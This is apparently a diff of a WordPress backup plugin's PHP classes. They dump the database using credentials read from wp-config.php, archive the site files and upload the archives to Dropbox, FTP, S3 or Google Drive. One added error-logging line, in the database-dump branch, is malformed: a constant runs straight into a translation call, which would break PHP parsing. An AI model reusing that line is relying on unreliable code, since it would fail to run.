+ WPAdm_Core::log('optimization Database');
95
+ $commandContext = new WPAdm_Command_Context();
96
+ $commandContext ->addParam('command','mysqloptimize')
97
+ ->addParam('host', $wp_mysql_params['host'])
98
+ ->addParam('db', $wp_mysql_params['db'])
99
+ ->addParam('user', $wp_mysql_params['user'])
100
+ ->addParam('password', $wp_mysql_params['password']);
101
+ $this->queue->clear()
102
+ ->add($commandContext);
103
+ unset($commandContext);
104
+ }
105
+
106
+ $commandContext = new WPAdm_Command_Context();
107
+ $commandContext ->addParam('command','mysqldump')
108
+ ->addParam('host', $wp_mysql_params['host'])
109
+ ->addParam('db', $wp_mysql_params['db'])
110
+ ->addParam('user', $wp_mysql_params['user'])
111
+ ->addParam('password', $wp_mysql_params['password'])
112
+ ->addParam('tables', '')
113
+ ->addParam('to_file', $mysql_dump_file);
114
+ $res = $this->queue->add($commandContext)
115
+ ->save()
116
+ ->execute();
117
+
118
+ if (!$res) {
119
+ $log = str_replace( array('%domain', '%s'), array(SITE_HOME, $this->queue->getError(), __('Website "%domain" returned an error during database dump creation: \'Dump of Database wasn\'t created: "%s"\'. To solve this problem, please check your database system logs or send to us your FTP access data. You can send to us support request using "Help" button on plugin page.','dropbox-backup') ) );
120
+ WPAdm_Core::log($log);
121
+ $errors[] = $log;
122
+ } elseif (0 == (int)filesize($mysql_dump_file)) {
123
+ $log = str_replace(array('%domain', '%dir'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP__('Website "%domain" returned an error during database dump creation: Database-Dump file is emplty. To solve this problem, please check permissions to folder: "%dir".','dropbox-backup') ));
124
+ $errors[] = $log;
125
+ WPAdm_Core::log($log);
126
+ } else {
127
+ $size_dump = round( (filesize($mysql_dump_file) / 1024 / 1024) , 2);
128
+ $log = str_replace("%s", $size_dump , __('Database Dump was successfully created ( %s Mb) : ','dropbox-backup') ) ;
129
+ WPAdm_Core::log($log . ' '. str_replace(ABSPATH, '', $mysql_dump_file) );
130
+ }
131
+ unset($commandContext);
132
+
133
+
134
+ WPAdm_Core::log('Start Created List Files');
135
+ if ($this->type == 'full') {
136
+ $files = $this->createListFilesForArchive();
137
+ } else {
138
+ $files = array();
139
+ }
140
+ if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
141
+ $files[] = $mysql_dump_file;
142
+ }
143
+
144
+ if (empty($files)) {
145
+ $errors[] = 'Empty list files';
146
+ }
147
+
148
+ $files2 = array();
149
+ $files2[0] = array();
150
+ $i = 0;
151
+ $size = 0;
152
+ foreach($files as $f) {
153
+ if ($size > 170000) {//~170kbyte
154
+ $i ++;
155
+ $size = 0;
156
+ $files2[$i] = array();
157
+ }
158
+ $f_size =(int)filesize($f);
159
+ if ($f_size == 0 || $f_size > 1000000) {
160
+ WPAdm_Core::log('file '. $f .' size ' . $f_size);
161
+ }
162
+ $size += $f_size;
163
+ $files2[$i][] = $f;
164
+ }
165
+
166
+ WPAdm_Core::log('Сreated List Files is successfully');
167
+ $this->queue->clear();
168
+
169
+ foreach($files2 as $files) {
170
+ $commandContext = new WPAdm_Command_Context();
171
+ $commandContext ->addParam('command','archive')
172
+ ->addParam('files', $files)
173
+ ->addParam('to_file', $this->dir . '/'.$this->name)
174
+ ->addParam('max_file_size', 900000)
175
+ ->addParam('remove_path', ABSPATH);
176
+
177
+ $this->queue->add($commandContext);
178
+ unset($commandContext);
179
+ }
180
+ WPAdm_Core::log('Start archived files');
181
+ // сохраним и выполним
182
+ $this->queue->save()
183
+ ->execute();
184
+ WPAdm_Core::log('End archived files');
185
+
186
+ $files = glob($this->dir . '/'.$this->name . '*');
187
+ $urls = array();
188
+ foreach($files as $file) {
189
+ $urls[] = str_replace(ABSPATH, '', $file);
190
+ }
191
+ $this->result->setData($urls);
192
+
193
+ WPAdm_Core::rmdir(DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql');
194
+
195
+ if ($this->params['limit'] != 0) {
196
+ WPAdm_Core::log('Start deleted old backup');
197
+ $files = glob(DROPBOX_BACKUP_DIR_BACKUP . '/*');
198
+ if (count($files) > $this->params['limit']) {
199
+ $files2 = array();
200
+ foreach($files as $f) {
201
+ $fa = explode('-', $f);
202
+ if (count($fa) != 3) {
203
+ continue;
204
+ }
205
+ $files2[$fa[2]] = $f;
206
+
207
+ }
208
+ ksort($files2);
209
+ $d = count($files2) - $this->params['limit'];
210
+ $del = array_slice($files2, 0, $d);
211
+ foreach($del as $d) {
212
+ WPAdm_Core::rmdir($d);
213
+ }
214
+ }
215
+ WPAdm_Core::log('Finish deleted old backups');
216
+ }
217
+ WPAdm_Core::log('Finish create');
218
+
219
+ if (!empty($errors)) {
220
+ $this->result->setError(implode("\n", $errors));
221
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
222
+ }
223
+
224
+ return $this->result;
225
+
226
+
227
+ }
228
+
229
+
230
+
231
+ public function createListFilesForArchive() {
232
+ $folders = array();
233
+ $files = array();
234
+
235
+ $files = array_merge(
236
+ $files,
237
+ array(
238
+ ABSPATH .'/.htaccess',
239
+ ABSPATH .'/index.php',
240
+ ABSPATH .'/license.txt',
241
+ ABSPATH .'/readme.html',
242
+ ABSPATH .'/wp-activate.php',
243
+ ABSPATH .'/wp-blog-header.php',
244
+ ABSPATH .'/wp-comments-post.php',
245
+ ABSPATH .'/wp-config.php',
246
+ ABSPATH .'/wp-config-sample.php',
247
+ ABSPATH .'/wp-cron.php',
248
+ ABSPATH .'/wp-links-opml.php',
249
+ ABSPATH .'/wp-load.php',
250
+ ABSPATH .'/wp-login.php',
251
+ ABSPATH .'/wp-mail.php',
252
+ ABSPATH .'/wp-settings.php',
253
+ ABSPATH .'/wp-signup.php',
254
+ ABSPATH .'/wp-trackback.php',
255
+ ABSPATH .'/xmlrpc.php',
256
+ )
257
+ );
258
+
259
+ if (!empty($this->params['minus-path'])) {
260
+ foreach($files as $k=>$v) {
261
+ $v = str_replace(ABSPATH .'/' , '', $v);
262
+ if (in_array($v, $this->params['minus-path'])) {
263
+ unset($files[$k]);
264
+ WPAdm_Core::log('Пропускаем файл ' . $v);
265
+ }
266
+ }
267
+ }
268
+
269
+ $folders = array_merge(
270
+ $folders,
271
+ array(
272
+ ABSPATH .'/wp-admin',
273
+ ABSPATH .'/wp-content',
274
+ ABSPATH .'/wp-includes',
275
+ )
276
+ );
277
+
278
+ foreach($this->params['plus-path'] as $p) {
279
+ if (empty($p)) {
280
+ continue;
281
+ }
282
+ $p = ABSPATH .'/' . $p;
283
+ if (file_exists($p)) {
284
+ if (is_dir($p)) {
285
+ $folders[] = $p;
286
+ } else{
287
+ $files[] = $p;
288
+ }
289
+ }
290
+ }
291
+
292
+ $folders = array_unique($folders);
293
+ $files = array_unique($files);
294
+
295
+ foreach($folders as $folder) {
296
+ if (!is_dir($folder)) {
297
+ continue;
298
+ }
299
+ $files = array_merge($files, $this->directoryToArray($folder, true));
300
+ }
301
+ return $files;
302
+ }
303
+
304
+
305
+ private function directoryToArray($directory, $recursive) {
306
+ $array_items = array();
307
+
308
+ $d = str_replace(ABSPATH . '/', '', $directory);
309
+ // пропускаем ненужные директории
310
+
311
+ if (
312
+ in_array($d, $this->params['minus-path'])
313
+ ) {
314
+ WPAdm_Core::log('Пропускаем папку ' . $directory);
315
+ return array();
316
+ }
317
+
318
+ $d = str_replace('\\', '/', $d);
319
+ $tmp = explode('/', $d);
320
+ $d1 = mb_strtolower($tmp[0]);
321
+ unset($tmp[0]);
322
+ $d2 = mb_strtolower(implode('/', $tmp));
323
+ // if (strpos($d1, 'cache') !== false || ($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)) {
324
+ // if (($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)
325
+ // || ($d1 == 'wp-content' || !in_array($tmp[0], array('plugins', 'themes')))
326
+ if (strpos($d2, 'cache') !== false
327
+ && !in_array($tmp[0], array('plugins', 'themes'))
328
+ ) {
329
+ WPAdm_Core::log('Пропускаем папку(cache) ' . $directory);
330
+ return array();
331
+ }
332
+ if(strpos($directory, 'wpadm_backups') !== false) {
333
+ return array();
334
+ }
335
+
336
+ if ($handle = opendir($directory)) {
337
+ while (false !== ($file = readdir($handle))) {
338
+ if ($file != "." && $file != "..") {
339
+ if (is_dir($directory. "/" . $file)) {
340
+ if($recursive) {
341
+ $array_items = array_merge($array_items, $this->directoryToArray($directory. "/" . $file, $recursive));
342
+ }
343
+
344
+ $file = $directory . "/" . $file;
345
+ if (!is_dir($file)) {
346
+ $ff = preg_replace("/\/\//si", "/", $file);
347
+ $f = str_replace(ABSPATH . '/', '', $ff);
348
+ // пропускаем ненужные директории
349
+ if (!in_array($f, $this->params['minus-path'])) {
350
+ $array_items[] = $ff;
351
+ } else {
352
+ WPAdm_Core::log('Пропускаем файл ' . $ff);
353
+ }
354
+ }
355
+ } else {
356
+ $file = $directory . "/" . $file;
357
+ if (!is_dir($file)) {
358
+ $ff = preg_replace("/\/\//si", "/", $file);
359
+ $f = str_replace(ABSPATH . '/', '', $ff);
360
+ // пропускаем ненужные директории
361
+ if (!in_array($f, $this->params['minus-path'])) {
362
+ $array_items[] = $ff;
363
+ } else {
364
+ WPAdm_Core::log('Пропускаем файл ' . $ff);
365
+ }
366
+ }
367
+ }
368
+ }
369
+ }
370
+ closedir($handle);
371
+ }
372
+ return $array_items;
373
+ }
374
+
375
+
376
+ /*
377
+ * Берем реквизиты доступа к MySQL из параметров WP
378
+ * return Array()
379
+ */
380
+ private function getWpMysqlParams()
381
+ {
382
+ $db_params = array(
383
+ 'password' => 'DB_PASSWORD',
384
+ 'db' => 'DB_NAME',
385
+ 'user' => 'DB_USER',
386
+ 'host' => 'DB_HOST',
387
+ );
388
+
389
+ $r = "/define\('(.*)', '(.*)'\)/";
390
+ preg_match_all($r, file_get_contents(ABSPATH . "wp-config.php"), $m);
391
+ $params = array_combine($m[1], $m[2]);
392
+ foreach($db_params as $k=>$p) {
393
+ $db_params[$k] = $params[$p];
394
+ }
395
+ return $db_params;
396
+ }
397
+
398
+
399
+ private function init(array $conf) {
400
+ //todo: нормализация
401
+ $this->id = $conf['id'];
402
+ $this->stime = $conf['stime'];
403
+ $this->queue = new WPAdm_Queue($this->id);
404
+ $this->type = $conf['type'];
405
+ }
406
+ }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
407
  }
methods/class-wpadm-method-full-backup-dropbox.php CHANGED
@@ -59,9 +59,17 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
59
  $this->name = $name;
60
 
61
  // folder for backup
62
- $this->dir = ABSPATH . 'wpadm_backups/' . $this->name;
63
- WPAdm_Core::mkdir(ABSPATH . 'wpadm_backups/');
64
- WPAdm_Core::mkdir($this->dir);
 
 
 
 
 
 
 
 
65
  }
66
 
67
  public function getResult()
@@ -71,19 +79,24 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
71
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
72
  $this->result->setError('');
73
 
74
- WPAdm_Core::log('Start backup');
75
 
76
  # create db dump
77
- WPAdm_Core::log('Start create db dump');
78
- WPAdm_Core::mkdir(ABSPATH . 'wpadm_backup');
79
- $mysql_dump_file = ABSPATH . 'wpadm_backup/mysqldump.sql';
 
 
 
 
 
80
  if (file_exists($mysql_dump_file)) {
81
  unlink($mysql_dump_file);
82
  }
83
  $wp_mysql_params = $this->getWpMysqlParams();
84
 
85
  if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
86
- WPAdm_Core::log('Table optimization');
87
  $commandContext = new WPAdm_Command_Context();
88
  $commandContext ->addParam('command','mysqloptimize')
89
  ->addParam('host', $wp_mysql_params['host'])
@@ -107,26 +120,29 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
107
  ->save()
108
  ->execute();
109
  if (!$res) {
110
- WPAdm_Core::log('Database dump was not created('.$this->queue->getError().')');
111
- $errors[] = 'MySQL error: '.$this->queue->getError();
112
- } elseif (0 == (int)filesize($mysql_dump_file)) {
113
- $errors[] = 'MySQL error: empty dump-file';
114
- WPAdm_Core::log('Database dump was not created (empty file)');
 
115
  } else {
116
- WPAdm_Core::log('Database dump created('.filesize($mysql_dump_file).'b):' . $mysql_dump_file);
 
 
117
  }
118
  unset($commandContext);
119
 
120
 
121
  #ЗАРХИВИРУЕМ ФАЙЛЫ
122
- WPAdm_Core::log('Create a list of files');
123
  $files = $this->createListFilesForArchive();
124
  if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
125
  $files[] = $mysql_dump_file;
126
  }
127
 
128
  if (empty($files)) {
129
- $errors[] = 'Empty list files';
130
  }
131
 
132
  // split the file list by 170kbayt lists, To break one big task into smaller
@@ -140,7 +156,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
140
  $size = 0;
141
  $files2[$i] = array();
142
  }
143
- $f_size =(int)@filesize($f);
144
  if ($f_size == 0 || $f_size > 1000000) {
145
  WPAdm_Core::log('file '. $f .' size ' . $f_size);
146
  }
@@ -148,7 +164,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
148
  $files2[$i][] = $f;
149
  }
150
 
151
- WPAdm_Core::log('List of files created');
152
 
153
  $this->queue->clear();
154
 
@@ -163,10 +179,10 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
163
  $this->queue->add($commandContext);
164
  unset($commandContext);
165
  }
166
- WPAdm_Core::log('Start backing up files');
167
  $this->queue->save()
168
  ->execute();
169
- WPAdm_Core::log('End of backup files');
170
 
171
  $files = glob($this->dir . '/'.$this->name . '*');
172
  $urls = array();
@@ -183,7 +199,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
183
  if (isset($this->params['storage'])) {
184
  foreach($this->params['storage'] as $storage) {
185
  if ($storage['type'] == 'ftp') {
186
- WPAdm_Core::log('Begin copying files to FTP');
187
  $this->queue->clear();
188
  $files = glob($this->dir . '/'.$this->name . '*');
189
  //$this->getResult()->setData($files);
@@ -206,15 +222,16 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
206
  $res = $this->queue->save()
207
  ->execute();
208
  if (!$res) {
209
- WPAdm_Core::log('FTP: ' . $this->queue->getError());
210
- $errors[] = 'FTP: '.$this->queue->getError();
 
211
  }
212
- WPAdm_Core::log('Finished copying files to FTP');
213
  if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
214
  $remove_from_server = $storage['remove_from_server'];
215
  }
216
  } elseif ($storage['type'] == 's3') {
217
- WPAdm_Core::log('Begin coping files to S3');
218
  $this->queue->clear();
219
  $files = glob($this->dir . '/'.$this->name . '*');
220
  //$this->getResult()->setData($files);
@@ -238,7 +255,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
238
  WPAdm_Core::log('S3: ' . $this->queue->getError());
239
  $errors[] = 'S3: '.$this->queue->getError();
240
  }
241
- WPAdm_Core::log('Finished copying files to S3');
242
  if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
243
  $remove_from_server = $storage['remove_from_server'];
244
  }
@@ -246,7 +263,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
246
  }
247
  if ($remove_from_server) {
248
  // удаляем файлы на сервере
249
- WPAdm_Core::log('Remove the backup server');
250
  WPAdm_Core::rmdir($this->dir);
251
  }
252
 
@@ -255,7 +272,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
255
  $this->queue->clear();
256
  $files = glob($this->dir . '/' . $this->name . '*');
257
  $files = array_merge_recursive(array($mysql_dump_file), $files);
258
- WPAdm_Core::log('files to google: ' . print_r($files, true));
259
  $n = count($files);
260
  for($i = 0; $i <$n; $i++) {
261
  $commandContext = new WPAdm_Command_Context();
@@ -272,7 +289,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
272
  $res = $this->queue->save()
273
  ->execute();
274
  if (!$res) {
275
- WPAdm_Core::log('Google drive: ' . $this->queue->getError());
276
  }
277
  //WPAdm_Core::log('google drive' . print_r($this->params, true));
278
  }
@@ -280,7 +297,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
280
  $this->queue->clear();
281
  $files = glob($this->dir . '/' . $this->name . '*');
282
  $files = array_merge_recursive(array($mysql_dump_file), $files);
283
- WPAdm_Core::log('files to dropbox: ' . print_r($files, true));
284
  $n = count($files);
285
  for($i = 0; $i <$n; $i++) {
286
  $commandContext = new WPAdm_Command_Context();
@@ -297,17 +314,17 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
297
  $this->queue->save()
298
  ->execute();
299
  if (!$res) {
300
- WPAdm_Core::log('Dropbox: ' . $this->queue->getError());
301
  }
302
  }
303
 
304
  #Removing TMP-files
305
- WPAdm_Core::rmdir(ABSPATH.'wpadm_backup');
306
 
307
  #Removind old backups(if limit the number of stored backups)
308
- WPAdm_Core::log('Start removing old backups');
309
  if ($this->params['limit'] != 0) {
310
- $files = glob(ABSPATH . 'wpadm_backups/*');
311
  if (count($files) > $this->params['limit']) {
312
  $files2 = array();
313
  foreach($files as $f) {
@@ -326,22 +343,23 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
326
  }
327
  }
328
  }
329
- WPAdm_Core::log('Finished removing old backups');
330
 
331
- WPAdm_Core::log('Creating a backup is completed');
332
 
 
333
  if (!empty($errors)) {
334
  $this->result->setError(implode("\n", $errors));
335
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
 
 
 
 
336
  }
337
-
338
  return $this->result;
339
-
340
-
341
  }
342
 
343
-
344
-
345
  public function createListFilesForArchive() {
346
  $folders = array();
347
  $files = array();
@@ -376,7 +394,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
376
  $v = str_replace(ABSPATH , '', $v);
377
  if (in_array($v, $minus_path)) {
378
  unset($files[$k]);
379
- WPAdm_Core::log('Skip file ' . $v);
380
  }
381
  }
382
  }
@@ -439,6 +457,9 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
439
  WPAdm_Core::log('Skip dir(cache) ' . $directory);
440
  return array();
441
  }
 
 
 
442
 
443
  if ($handle = opendir($directory)) {
444
  while (false !== ($file = readdir($handle))) {
@@ -468,7 +489,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
468
  if (!in_array($f, $minus_path)) {
469
  $array_items[] = $ff;
470
  } else {
471
- WPAdm_Core::log('Skip dir ' . $ff);
472
  }
473
  }
474
  }
@@ -494,7 +515,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
494
  );
495
 
496
  $r = "/define\('(.*)', '(.*)'\)/";
497
- preg_match_all($r, file_get_contents(ABSPATH . "wp-config.php"), $m);
498
  $params = array_combine($m[1], $m[2]);
499
  foreach($db_params as $k=>$p) {
500
  $db_params[$k] = $params[$p];
59
  $this->name = $name;
60
 
61
  // folder for backup
62
+ $this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->name;
63
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
64
+ if (!empty($error)) {
65
+ $this->result->setError($error);
66
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
67
+ }
68
+ $error = WPAdm_Core::mkdir($this->dir);
69
+ if (!empty($error)) {
70
+ $this->result->setError($error);
71
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
72
+ }
73
  }
74
 
75
  public function getResult()
79
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
80
  $this->result->setError('');
81
 
82
+ WPAdm_Core::log( __('Start backup','dropbox-backup') );
83
 
84
  # create db dump
85
+ WPAdm_Core::log( __('Start create db dump','dropbox-backup') );
86
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
87
+ if (!empty($error)) {
88
+ $this->result->setError($error);
89
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
90
+ return $this->result;
91
+ }
92
+ $mysql_dump_file = DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql';
93
  if (file_exists($mysql_dump_file)) {
94
  unlink($mysql_dump_file);
95
  }
96
  $wp_mysql_params = $this->getWpMysqlParams();
97
 
98
  if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
99
+ WPAdm_Core::log( __('Table optimization','dropbox-backup') );
100
  $commandContext = new WPAdm_Command_Context();
101
  $commandContext ->addParam('command','mysqloptimize')
102
  ->addParam('host', $wp_mysql_params['host'])
120
  ->save()
121
  ->execute();
122
  if (!$res) {
123
+ $log = str_replace('%s', $this->queue->getError(), __('Error: Dump of Database wasn\'t created (%s)','dropbox-backup') );
124
+ WPAdm_Core::log($log);
125
+ $errors[] = $log;
126
+ } elseif (0 == (int)@filesize($mysql_dump_file)) {
127
+ $errors[] = __('MySQL Error: Database-Dump File is empty','dropbox-backup');
128
+ WPAdm_Core::log(__('Dump of Database wasn\'t created (File of Database-Dump is empty!)','dropbox-backup'));
129
  } else {
130
+ $size_dump = round( (filesize($mysql_dump_file) / 1024 / 1024) , 2);
131
+ $log = str_replace("%s", $size_dump , __('Database Dump was successfully created ( %s Mb) : ','dropbox-backup') ) ;
132
+ WPAdm_Core::log($log . $mysql_dump_file);
133
  }
134
  unset($commandContext);
135
 
136
 
137
  #ЗАРХИВИРУЕМ ФАЙЛЫ
138
+ WPAdm_Core::log( __('Create a list of files for Backup','dropbox-backup') );
139
  $files = $this->createListFilesForArchive();
140
  if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
141
  $files[] = $mysql_dump_file;
142
  }
143
 
144
  if (empty($files)) {
145
+ $errors[] = __('Error: the list of Backup files is empty','dropbox-backup');
146
  }
147
 
148
  // split the file list by 170kbayt lists, To break one big task into smaller
156
  $size = 0;
157
  $files2[$i] = array();
158
  }
159
+ $f_size =(int)filesize($f);
160
  if ($f_size == 0 || $f_size > 1000000) {
161
  WPAdm_Core::log('file '. $f .' size ' . $f_size);
162
  }
164
  $files2[$i][] = $f;
165
  }
166
 
167
+ WPAdm_Core::log( __('List of Backup-Files was successfully created','dropbox-backup') );
168
 
169
  $this->queue->clear();
170
 
179
  $this->queue->add($commandContext);
180
  unset($commandContext);
181
  }
182
+ WPAdm_Core::log( __('Backup of Files was started','dropbox-backup') );
183
  $this->queue->save()
184
  ->execute();
185
+ WPAdm_Core::log( __('End of File Backup','dropbox-backup') );
186
 
187
  $files = glob($this->dir . '/'.$this->name . '*');
188
  $urls = array();
199
  if (isset($this->params['storage'])) {
200
  foreach($this->params['storage'] as $storage) {
201
  if ($storage['type'] == 'ftp') {
202
+ WPAdm_Core::log( __('Begin copying files to FTP','dropbox-backup') );
203
  $this->queue->clear();
204
  $files = glob($this->dir . '/'.$this->name . '*');
205
  //$this->getResult()->setData($files);
222
  $res = $this->queue->save()
223
  ->execute();
224
  if (!$res) {
225
+ $log = __('FTP: ' ,'dropbox-backup');
226
+ WPAdm_Core::log($log . $this->queue->getError());
227
+ $errors[] = $log . $this->queue->getError();
228
  }
229
+ WPAdm_Core::log( __('Finished copying files to FTP' ,'dropbox-backup') );
230
  if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
231
  $remove_from_server = $storage['remove_from_server'];
232
  }
233
  } elseif ($storage['type'] == 's3') {
234
+ WPAdm_Core::log( __('Begin coping files to S3' ,'dropbox-backup') );
235
  $this->queue->clear();
236
  $files = glob($this->dir . '/'.$this->name . '*');
237
  //$this->getResult()->setData($files);
255
  WPAdm_Core::log('S3: ' . $this->queue->getError());
256
  $errors[] = 'S3: '.$this->queue->getError();
257
  }
258
+ WPAdm_Core::log( __('Finished copying files to S3' ,'dropbox-backup') );
259
  if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
260
  $remove_from_server = $storage['remove_from_server'];
261
  }
263
  }
264
  if ($remove_from_server) {
265
  // удаляем файлы на сервере
266
+ WPAdm_Core::log( __('Remove the backup server' ,'dropbox-backup') );
267
  WPAdm_Core::rmdir($this->dir);
268
  }
269
 
272
  $this->queue->clear();
273
  $files = glob($this->dir . '/' . $this->name . '*');
274
  $files = array_merge_recursive(array($mysql_dump_file), $files);
275
+ WPAdm_Core::log( __('files to google: ' ,'dropbox-backup') . print_r($files, true));
276
  $n = count($files);
277
  for($i = 0; $i <$n; $i++) {
278
  $commandContext = new WPAdm_Command_Context();
289
  $res = $this->queue->save()
290
  ->execute();
291
  if (!$res) {
292
+ WPAdm_Core::log( __('Google drive: ' ,'dropbox-backup') . $this->queue->getError());
293
  }
294
  //WPAdm_Core::log('google drive' . print_r($this->params, true));
295
  }
297
  $this->queue->clear();
298
  $files = glob($this->dir . '/' . $this->name . '*');
299
  $files = array_merge_recursive(array($mysql_dump_file), $files);
300
+ WPAdm_Core::log( __('files to dropbox: ' ,'dropbox-backup') . print_r($files, true));
301
  $n = count($files);
302
  for($i = 0; $i <$n; $i++) {
303
  $commandContext = new WPAdm_Command_Context();
314
  $this->queue->save()
315
  ->execute();
316
  if (!$res) {
317
+ WPAdm_Core::log(__('Dropbox: ' ,'dropbox-backup') . $this->queue->getError());
318
  }
319
  }
320
 
321
  #Removing TMP-files
322
+ WPAdm_Core::rmdir(DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql');
323
 
324
  #Removind old backups(if limit the number of stored backups)
325
+ WPAdm_Core::log( __('Start removing old backups' ,'dropbox-backup') );
326
  if ($this->params['limit'] != 0) {
327
+ $files = glob(DROPBOX_BACKUP_DIR_BACKUP . '/*');
328
  if (count($files) > $this->params['limit']) {
329
  $files2 = array();
330
  foreach($files as $f) {
343
  }
344
  }
345
  }
346
+ WPAdm_Core::log( __('Finished removing old backups' ,'dropbox-backup') );
347
 
348
+ WPAdm_Core::log( __('Creating a backup is completed' ,'dropbox-backup') );
349
 
350
+ wpadm_class::setBackup(2);
351
  if (!empty($errors)) {
352
  $this->result->setError(implode("\n", $errors));
353
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
354
+ wpadm_class::setStatus(0);
355
+ wpadm_class::setErrors( implode(", ", $errors) );
356
+ } else {
357
+ wpadm_class::setStatus(1);
358
  }
359
+ wpadm_class::backupSend();
360
  return $this->result;
 
 
361
  }
362
 
 
 
363
  public function createListFilesForArchive() {
364
  $folders = array();
365
  $files = array();
394
  $v = str_replace(ABSPATH , '', $v);
395
  if (in_array($v, $minus_path)) {
396
  unset($files[$k]);
397
+ WPAdm_Core::log( __('Skip file ' ,'dropbox-backup') . $v);
398
  }
399
  }
400
  }
457
  WPAdm_Core::log('Skip dir(cache) ' . $directory);
458
  return array();
459
  }
460
+ if(strpos($directory, DROPBOX_BACKUP_DIR_NAME) !== false) {
461
+ return array();
462
+ }
463
 
464
  if ($handle = opendir($directory)) {
465
  while (false !== ($file = readdir($handle))) {
489
  if (!in_array($f, $minus_path)) {
490
  $array_items[] = $ff;
491
  } else {
492
+ WPAdm_Core::log( __('Skip dir ' ,'dropbox-backup') . $ff);
493
  }
494
  }
495
  }
515
  );
516
 
517
  $r = "/define\('(.*)', '(.*)'\)/";
518
+ preg_match_all($r, file_get_contents( ABSPATH . "wp-config.php"), $m);
519
  $params = array_combine($m[1], $m[2]);
520
  foreach($db_params as $k=>$p) {
521
  $db_params[$k] = $params[$p];
methods/class-wpadm-method-local-backup.php CHANGED
@@ -3,36 +3,63 @@
3
  if (!class_exists('WPAdm_Method_Local_Backup')) {
4
  class WPAdm_Method_Local_Backup extends WPAdm_Method_Class {
5
 
 
 
6
  public function __construct($params)
7
  {
8
  parent::__construct($params);
9
  $this->init(
10
  array(
11
- 'id' => uniqid('wpadm_method_backup__'),
12
  'stime' => time(),
13
  )
14
  );
15
- $file_log = WPAdm_Core::getTmpDir() . "/log.log";
16
- if (file_exists($file_log)) {
17
- unlink($file_log);
18
- }
19
- WPAdm_Core::log('Create Unique Id '. $this->id);
20
 
21
 
22
  $name = get_option('siteurl');
23
 
24
  $name = str_replace("http://", '', $name);
25
  $name = str_replace("https://", '', $name);
26
- $name = preg_replace("|\W|", "_", $name);
27
- $this->time = date("d.m.Y H:i"); //23.04.2015 13:45
28
- $name .= '-' . wpadm_class::$type . '-' . date("Y_m_d_H_i");
 
 
 
 
 
29
  $this->name = $name;
30
-
31
 
32
  // folder for backup
33
- $this->dir = ABSPATH . 'wpadm_backups/' . $this->name;
34
- WPAdm_Core::mkdir(ABSPATH . 'wpadm_backups/');
35
- WPAdm_Core::mkdir($this->dir);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
36
  }
37
  public function getResult()
38
  {
@@ -41,161 +68,200 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
41
 
42
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
43
  $this->result->setError('');
44
-
45
- WPAdm_Core::log('Start Backup process...');
46
 
47
  # create db dump
48
  if (in_array('db', $this->params['types']) ) {
49
- WPAdm_Core::log('Creating Database Dump');
50
- WPAdm_Core::mkdir(ABSPATH . 'wpadm_backup');
51
- $mysql_dump_file = ABSPATH . 'wpadm_backup/mysqldump.sql';
52
- if (file_exists($mysql_dump_file)) {
53
- unlink($mysql_dump_file);
54
- }
55
- $wp_mysql_params = $this->getWpMysqlParams();
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
56
 
57
- // Table Optimization
58
- if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
59
- WPAdm_Core::log('Optimize Database Tables');
60
  $commandContext = new WPAdm_Command_Context();
61
- $commandContext ->addParam('command','mysqloptimize')
62
